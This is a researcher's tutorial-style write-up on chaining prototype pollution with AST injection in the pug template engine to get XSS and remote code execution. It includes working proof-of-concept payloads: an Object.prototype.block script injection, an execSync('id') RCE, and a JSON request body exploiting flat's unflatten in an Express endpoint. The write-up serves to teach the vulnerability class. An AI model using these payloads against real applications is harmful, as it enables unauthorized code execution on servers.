How AST Injection and Prototype Pollution Ignite Threats
Hello everyone. I’m rayepeng, a security researcher.
Today I will tell you how AST injection, combined with prototype pollution, facilitates remote code execution (also known as RCE)
Template engine
Developer used to use template engine like ejs
、pug
、handlebars
, which render HTML code dynamic, and aim for make page that can be use repeated
Here are some template engine works:
ejs
// npm install ejs
const ejs = require('ejs');
// define our template
const template = `
<h1>Hello, <%= name %>!</h1>
`;
// render it
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);
handlebars
// npm install handlebars
const handlebars = require('handlebars');
// define template
const template = `
<h1>Hello, {{name}}!</h1>
`;
// more progress, compile template
const compiledTemplate = handlebars.compile(template);
// render template
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
pug
// npm install pug
const pug = require('pug');
// definte template
const template = `
h1 Hello, #{name}!
`;
// compilte template
const compiledTemplate = pug.compile(template);
// render template
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
What template engine doing exactly?
Like mostly compiler work, template engine do this:
Lexer -> Parser -> Compiler
However,when engine handling the AST Tree, if there exist a prototype pollution, an attacker can arbitrary modify the AST Tree, thereby affecting the generated code, and ultimately achieving the goal of RCE
pug template AST injection
Here, we will explore how and why AST Injection works in the pug template engine
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
When the engine encounters fn({msg: 'It works'});
, it effectively goes into a function like this:
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});
(function (msg) {
;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
}.call(this, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
Mechanism of the AST Injection
AST Structures
The syntax tree structure generated by Pug parsing h1= msg
is as follows:
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[
],
"attributeBlocks":[
],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}
After the syntax tree is generated, the function walkAst
is called to perform the parsing process of the syntax tree, judging each node type in turn, as in the following code:
function walkAST(ast, before, after, options){
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) { // here!!!
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Text':
break;
}
parents.shift();
}
AST Execution
Taking the recently generated AST as an example, the parsing order is as follows:
- Block
- Tag
- Block
- Code
- …?
Note that in the fourth step, When engine parsing node.Type
as Code
type, and then the following code will be execute:
case 'Code':
case 'While':
if (ast.block) { // here !!!
ast.block = walkAST(ast.block, before, after, options);
}
- Determine whether the ast.block attribute exists; ast refers to the current node of the AST (Abstract Syntax Tree).
- If it exists , continue to recursively parse the block.
Combined With Prototype Pollution
If there exists a prototype pollution vulnerability somewhere, for example:
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
Then, ast.block
will access ast.__proto__.block
, which is, the property of Object.prototype.block
.
Here we go, the code output leads to Cross-Site Scripting (aka. XSS ).
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
RCE
As we all know, that pug essentially compiles a piece of code, such as h1 =msg
, into a piece of JS code.
This is actually achieved through the generation of a AST tree combined with new Function
Therefore, if we can insert a node through AST injection and turn it into code, we can achieve the goal of remote code execution
Thankfully, there is such code in pug:
// /node_modules/pug-code-gen/index.js
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
Thus, by using AST Injection combined with Prototype Pollution, we can achieve Remote Code Execution (RCE).
const pug = require('pug');
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
Attack example
If you don’t get bored, here is one CGI in a web service developed with Express:
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
Prototype Pollution
Take note of this line of code:
const { song } = unflatten(req.body);
unflatten
exist prototype pollution which can be used to do something:
var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true
AST Injection
Take note of this line of code:
pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
Combined with prototype pollution, we can achieve the goal of RCE!!!
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // RCE here!!!
}
}